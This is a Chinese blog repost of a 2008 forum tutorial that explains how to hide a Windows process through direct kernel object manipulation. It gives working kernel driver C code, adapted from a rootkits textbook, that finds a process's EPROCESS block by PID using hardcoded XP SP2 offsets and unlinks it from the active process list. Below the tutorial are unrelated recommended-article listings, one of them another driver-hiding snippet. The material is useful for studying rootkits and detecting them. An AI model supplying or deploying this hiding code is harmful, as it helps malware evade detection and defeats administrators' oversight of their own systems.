DKOM Benefits and Drawbacks

dkom 隐藏进程 dkom 隐藏进程 dkom 隐藏进程 dkom 隐藏进程 dkom 隐藏进程 立即下载
作 者: ReturnsMe
时 间: 2008-06-01,01:04
链 接: http://bbs.pediy.com/showthread.php?t=65806

科普了...大侠飘过....
本人还很菜..有写错的地方希望大家多指点 

        感觉这样隐藏进程比Hook ZwQuerySystemInformation 工序上简单很多,所以BSOD的几率也要小了。不过仍然逃不过IS的法眼...

        代码基本是copy Rootkits: Subverting the Windows Kernel 加了点注释。几下笔记。

       在win中,每个进程都有一个EPROCESS结构,其中引用了一个双向链表,遍历这个链表,就能列出win当前活动进程。

下面是定义

代码:
typedef struct _LIST_ENTRY {
   struct _LIST_ENTRY *Flink;
   struct _LIST_ENTRY *Blink;
} LIST_ENTRY, *PLIST_ENTRY, *RESTRICTED_POINTER PRLIST_ENTRY;
FLINK指向当前进程的前方进程,BLINK则指向后方进程。

所以,我们要通过进程的PID定位到链表并且把要隐藏的进程从链表中断开。

此图已经缩小,点击察看原图。

我们要找到指定进程所在的进程链表,要经历如图的过程。

代码:
ULONG FindProcessEPROC (ULONG terminate_PID)

{
//这个函数用来获得指定PID的 EPROCESS偏移
PLIST_ENTRY plist_active_procs;

ULONG eproc;
ULONG PIDOFFSET,current_PID,start_PID, i_count,FLINKOFFSET;

eproc   = 0x00000000;
PIDOFFSET = 0x84;   //SP2
FLINKOFFSET = 0x88;
current_PID = 0;
start_PID   = 0;
i_count = 0;


if (terminate_PID == 0)

   return terminate_PID;

// Get the address of the current EPROCESS

eproc = (ULONG) PsGetCurrentProcess();   

start_PID = *((ULONG *)(eproc+PIDOFFSET)); //PID

current_PID = start_PID;

while(1)

{

   if(terminate_PID == current_PID) // found

    return eproc;

   else if((i_count >= 1) && (start_PID == current_PID))

   {
    //当整个循环都遍历完一圈却没有找到这个PID的时候 才会出现这种情况

    return 0x00000000;

   }

   else { // Advance in the list.

    plist_active_procs = (LIST_ENTRY *) (eproc+FLINKOFFSET);   //LIST

    eproc = (ULONG) plist_active_procs->Flink;                      //the next list entry

    eproc = eproc - FLINKOFFSET;                                       //the next EPROCESS

    current_PID = *((ULONG *)(eproc+PIDOFFSET));           //THE NEXT PID

    i_count++;

    }

}

}
上面这个函数,首先PsGetCurrentProcess();   可以到达当前进程EPROCESS EPROCESS中保存了进程PID,win sp2中,PID的偏移是0x84 FLINK的偏移是 0x88。

下面我们就要断开这个链表。

此图已经缩小,点击察看原图。

代码:
NTSTATUS HideProc()
{

PLIST_ENTRY plist_active_procs;
ULONG FLINKOFFSET,eproc;
// Find the EPROCESS to hide.

eproc = FindProcessEPROC(3248);
FLINKOFFSET = 0x88;

if (eproc == 0x00000000)
{
  
   DbgPrint("can't find the eproc!!");

   return STATUS_INVALID_PARAMETER;
}
plist_active_procs = (LIST_ENTRY *)(eproc+FLINKOFFSET);

// Change the FLINK and BLINK of the rearward and forward EPROCESS blocks.

*((ULONG *)plist_active_procs->Blink) = (ULONG) plist_active_procs->Flink; //动作一

*((ULONG *)plist_active_procs->Flink+1) = (ULONG) plist_active_procs->Blink; //动作二

// Change the FLINK and BLINK of the process we are hiding so that when

// it is dereferenced, it points to a valid memory region.

plist_active_procs->Flink = (LIST_ENTRY *) &(plist_active_procs->Flink);

plist_active_procs->Blink = (LIST_ENTRY *) &(plist_active_procs->Flink);

//这里一定要把EPROCESS指向其自身 不然BSOD郁闷死你

return STATUS_SUCCESS;

}
怎么断开双向链表,当初学C的时候都有讲..所以不多写...

最后

plist_active_procs->Flink = (LIST_ENTRY *) &(plist_active_procs->Flink);

plist_active_procs->Blink = (LIST_ENTRY *) &(plist_active_procs->Flink);

倒是要注意一下,Greg Hoglund的书中写道,如果不把被隐藏进程的EPROCESS指向其自身,那么PspExitProcess的调用就会无效 so...BSOD...

最后,只需在DRIVER ENTRY中这样调用

代码:
if(STATUS_SUCCESS == HideProc())
   DbgPrint("haha hide ok!");
IS中有显示红字的即是。

此图已经缩小,点击察看原图。

配置 NVIDIA RTX 5090 + sm_120 + flashattention,已跑通一个大模型 ~~ 本文介绍了在Ubuntu 22.04系统下为NVIDIA RTX 50系显卡搭建深度学习环境的完整流程。重点包括:1)安装适配50系显卡(sm_120架构)的CUDA 12.9驱动和Toolkit,需注意禁用系统自带驱动;2)配置环境变量解决nvcc命令识别问题;3)通过源码编译方式安装支持sm_120的PyTorch nightly版本(cu129),解决官方二进制包不兼容问题。整个过程涉及显卡驱动安装、CUDA环境配置、PyTorch适配等关键步骤,并提供了详细的验证方法和常见问题解决方案。文中特别强调 阅读详情

相关推荐

RISC-V内核移植实战:从零开始手把手实现RT-Thread上下文切换(附GD32VF103代码解析)

本文详细解析了在RISC-V架构上移植RT-Thread实时操作系统的核心步骤,重点聚焦于上下文切换机制的实现。通过对比ARM Cortex-M与RISC-V在中断处理和寄存器管理上的关键差异,并以GD32VF103开发板为例,手把手指导开发者完成libcpu抽象层适配、线程栈初始化以及三种上下文切换方式的代码编写与调试,为嵌入式开发者从ARM转向RISC-V平台提供了实战指南。

fern8的博客 740

20159313网络攻击与防范第七周学习总结

第七章Windows操作系统安全攻防总结 1.Windows操作系统的基本结构 分为运行于处理器特权模式的操作系统内核,以及运行在处理器非特权模式的用户空间代码。采用宏内核模式来进行构架,这使得任意的内核模块或设备驱动程序都可能破坏其他内核模块数据,这种宏内核机制也使得Windows操作系统容易遭受以驱动方式植入内核的Rootkit的危害,为了避免这类攻击,最新的Windows7缺省要求...

weixin_30493321的博客 1756

深入解析Android Thermal框架:从应用层到驱动层的温度管理机制

本文深入解析Android Thermal框架的温度管理机制,从应用层到驱动层详细介绍了温度监测、热状态评估和降温策略执行的全过程。通过分层架构解析和关键组件交互,帮助开发者理解Android设备如何实现高效的温度控制,确保硬件安全并优化性能。

weixin_29303701的博客 257

Hiding loaded driver with DKOM

#include typedef struct _LDR_DATA_TABLE_ENTRY { LIST_ENTRY InLoadOrderLinks; LIST_ENTRY InMemoryOrderLinks; LIST_ENTRY InInitializationOrderLinks; PVOID DllBase; PVOID Entry

gj333的专栏 668

告别混乱代码!在Arduino IDE中管理多文件项目的5个必备技巧

本文分享了在Arduino IDE中管理多文件项目的5个必备技巧,帮助开发者告别混乱代码。通过代码分割和模块化设计,提升编译效率、降低内存占用,并实现功能解耦。重点介绍了头文件设计、CPP文件实现、调试技巧和工业级目录结构,让你的Arduino项目像乐高积木一样清晰易维护。

fun88的博客 361

Win11/Win10系统下,Proe5.0 M280终极版保姆级安装与激活指南(含SSQ补丁避坑)

本文提供Win11/Win10系统下Pro/E 5.0 M280终极版的详细安装与激活指南,涵盖环境配置、SSQ补丁应用及常见问题解决方案。通过系统调整、分步安装和性能优化,确保软件在现代操作系统上的稳定运行,特别适合机械设计用户参考。

weixin_30895059的博客 446

C++ 入门笔记(十七):list 入门 —— 为什么 list 不能 sort?

第17课:用大白话讲清 list 的双向链表结构、哨兵头、push_back 四步、迭代器封装、merge 与 splice 的区别,以及 vector 排序为什么常比 list 快。

wo_jack的博客 251

别再只会用Excel了!Minitab 21手把手教你搞定SPC控制图(从数据导入到结果解读)

本文详细介绍了如何使用Minitab 21高效制作SPC控制图,从数据导入到结果解读的全流程。通过对比Excel的局限性,展示Minitab在自动化计算、图表标准化和特殊原因检验等方面的优势,帮助质量管理人员提升工作效率和数据分析专业性。

weixin_30878501的博客 386

【C++】【STL】list_OJ题

本文系统解析了8道C++链表经典OJ题,按“算数操作”与“指针重连”分为两组,强调指针操作与数据结构解耦的重要性。通过手写ListNode、std::list及带头双向循环链表三类载体验证算法普适性,重点剖析空链、单节点、全相同值等6类边界情况,并给出统一编译与调试方案(g++11 + -Wall -O2),确保零告警、可追踪。所有题目时间复杂度均为O(N),常数差异源于遍历次数与操作开销,代码实现兼顾正确性与面试可用性。

这里是Cocatrice的博客,感谢大家一直以来的支持和鼓励,如果对C/C++方向感兴趣的话,可以通过主页的微信名片加Cocatrice的好友,也可以通过邮箱:Chen31980094@163.com 联系,一同加油! 1906

使用 Python 调用 GitHub REST API 爬取 GitHub 仓库信息(完整指南)

GitHub 提供了功能强大的 REST API,允许开发者通过编程方式访问 GitHub 上的仓库、用户、提交记录、PR(Pull Request)等信息。GitHub REST API 是 GitHub 官方提供的 API 接口,支持通过 HTTP 请求来操作 GitHub 上的资源。在本文中,我们将使用 Python 编写一个完整的爬虫程序,调用 GitHub 的 REST API 来爬取 GitHub 仓库的信息。目前 GitHub 使用的主要是 v3 版本的 REST API。

2201_76125261的博客 1113

【unity知识】最新的虚拟相机Cinemachine3简单使用介绍

本文介绍了Unity中Cinemachine 3虚拟相机系统的使用方法。相比旧版本,新版功能更强大且参数分类更直观。文章详细讲解了摄像机镜头参数、旋转控制(包括None、目标跟随、样条线推拉、旋转追随等6种模式)和位置控制(跟随、样条轨道、硬锁定等5种模式)。重点演示了样条轨道摄像机的创建与配置,以及如何实现第一人称和第三人称视角。通过丰富的GIF图示,展示了各种模式的运行效果,帮助用户快速掌握Cinemachine 3的核心功能。

向宇的博客,专注php/web全栈 unity游戏开发,欢迎大家评论纠错 867

list

的底层是双向链表结构,双向链表中每个元素存储在互不相关的独立节点中,在节点中通过指针指向其前一个元素和后一个元素。,因此反向迭代器的实现可以借助正向迭代器,即:反向迭代器内部可以包含一个正向迭代器,对正向迭代器的接口进行包装即可。是可以在常数范围内在任意位置进行插入和删除的序列式容器,并且该容器可以前后双向迭代。迭代到该位置,在这段位置上迭代需要线性的时间开销;最大的缺陷是不支持任意位置的随机访问,比如:要访问。还需要一些额外的空间,以保存每个节点的相关联信息。个元素,必须从已知的位置。

xie0510_的博客 293

【系统分析师】2025年下半年真题:案例分析-答案及详解(回忆版)

Redis相比Memcached在电商高并发场景下具有显著优势:支持持久化(RDB/AOF)、丰富数据结构(如有序集合实现排行榜)、原生支持集群和哨兵模式(高可用性)。布隆过滤器通过位数组和哈希函数预先存储所有合法订单ID,当查询请求到达时快速拦截无效ID(如伪造ID),避免其穿透缓存直接冲击数据库,从而预防缓存击穿问题。

数据知道的博客 5997

Redis 数据类型详解:Hash 哈希与 List 列表

大 key 指单个 key 对应的 value 过大(如 Hash 字段数极多、List 元素极多)。危害包括:单次全量命令(

2303_77004089的博客 125

大中型超市收银系统(可直接运行)

光步前台收银系统系统功能:商品销售、商品退货、挂单、收银员权限、会员销售、单品取消、整单取消、商品查询、脱机销售、脱机数据上传,基本资料下载,开钱箱、小票打印、收款结算,支持多币种付款方式(现金、储值卡、礼券、微信等),支持多种促销。运行环境:.net 4.0登陆信息用户名:1001 密码:123456内置商品信息,商品编码可输入00001000 - 00010000,测试效果相关功能键F5 结算 F9挂单 F11商品查询 F8退货 Insert单品取消 Del整单取消 F12开钱箱F2 会员 Ctrl+Z退出系统 Home 锁屏 相关源码待公开

假人有限元模型

假人模型,车辆碰撞假人有限元模型,适合做乘员安全的研究者利用

Java 集合框架(List、Set、Map)与常用基础

本文整理Java集合框架核心知识,涵盖集合体系、Collection接口API、List(ArrayList、LinkedList、Vector)、Set(HashSet、TreeSet)、Map(HashMap、TreeMap、Hashtable)实现类原理、泛型、增强for循环、可变参数与工具类,并附核心易错点速查表。

既然你都点开这里了,那可以给我点个关注吗?可以吗?可以吗? 494

VB摄像头监控

该VB模块可对摄像头捕获的画面进行录像等,可在创建的窗口进行控制

Bugku 326 Baby-heap1 题解:glibc 2.23 堆溢出到 FSOP 劫持 _IO_list_all(附完整 exp)

为什么 FSOP 在 2.23 这么好用?glibc 2.23 的_IO_FILE虚表调用没有 vtable 合法性检查是 2.24 才加入的),只要能把指向自己伪造的 FILE,就能让__overflow槽位指向任意函数。exit()一定会走因此把_mode置 0、置 1、置 0,就能进入;把fp首地址写成/bin/shsystem(fp)的参数就齐了。为什么用 fastbin attack 而不是?2.23 没有 tcache,fastbin 的fd。

kingx3的博客 243

VC中sqlite的使用

在VC中对sqlite的使用,实现数据库大批数据的快速插入,读取数据库中的数据在ListCtrl中显示

List(下):LPOP / RPOP、BLPOP / BRPOP 与 LINDEX、LINSERT

这是《Redis C++ 实战笔记》系列的第 07 篇。上一篇是往列表里放,这一篇是往外拿——包括那个会"等"的弹出。

wbs_scy的博客 123

CListCtrl 第一列为什么不能居中

/ 你满怀期待写下这段代码m_list.InsertColumn(0, _T("序号"), LVCFMT_CENTER, 80);m_list.InsertColumn(1, _T("名称"), LVCFMT_LEFT, 160);m_list.InsertColumn(2, _T("数值"), LVCFMT_RIGHT, 100);运行后傻眼:第 1、2 列对齐完全正常,唯独索引 0 这一列,无论你写还是,文字永远靠左。反复调试、怀疑自己参数写错、怀疑扩展样式、怀疑资源模板,折腾半小时 ——

谢谢大家的关注和点赞!这里只有纯纯的知识干货,没有一句废话。希望能实实在在帮到大家~要是觉得有用,别忘了给我点支持哟,你 278

To-Do List 的「修改」功能与 CSS 定位

买牛奶</td><td index="1">写作业</td><td index="2">跑步

2401_89953644的博客 315

一个链表(Linked List)--为什么要用链表--deepseek

数组(如你定义的大盘子就像你在 FPGA 里例化了一块深度为 2500 的 BRAM。它必须是一块连续的、完整的内存。如果内存里全是碎片,凑不出 2500 个连续空位,数组就建立不起来。链表(Linked List)就像一堆散落在大街小巷的小仓库,每个仓库大小不固定,彼此不挨着。但是,每个仓库的门口都贴了一张小纸条,纸条上写着“下一个仓库的地址”。我们来画个图,这就是链表的核心——节点(Node)text。

AlibabaApple的博客 187

DOM增删改查与TodoList实战

拿到一个元素后,不用重新 ,可以直接通过它身上的关系属性找到亲戚。       parent         │   ┌──────┴──────┐ prevSibling   nextSibling         │       self         │   ┌───

2401_89953644的博客 228

【C++初阶】list使用及相关实现,思路顺滑流畅!

list使用及相关实现

Severus_black的博客 226

List(上):LPUSH / RPUSH 与 LRANGE

这是《Redis C++ 实战笔记》系列的第 06 篇。String 讲完了,进入第二种类型:List。它是一串有顺序、可以重复的值,两头都能进出。

wbs_scy的博客 258

中文文件名排序跟拼音对不上:os.listdir 返回的是文件系统顺序,三个中文名按字节排结果正好相反

os.listdir 返回的是目录项枚举顺序,sorted() 比的是 Unicode 码点,对中文等于按 UTF-8 字节排。用李四/张三/阿明三个名字实测,字节序张李阿、拼音序阿李张,正好相反。附拼音排序的正确做法和 cpolar 短时对照预览。

qq_63013137的博客 334

【Java】List

ArrayList使用。

2503_92107148的博客 28

Java Arrays.asList 常见坑详解|UnsupportedOperationException、数组联动、基本类型 bug

解析 Arrays.asList 常见开发陷阱,演示 UnsupportedOperationException、底层数组引用共享、基本类型数组问题,区分 Arrays 内部 ArrayList 与 java.util.ArrayList,给出数组转 List 的各种场景正确代码。

weixin_42617033的博客 503
上一篇: 驱动监控进程的创建
下一篇: DKOM Benefits and Drawbacks
iiprogram
博客等级 码龄25年 1068粉丝 1515原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值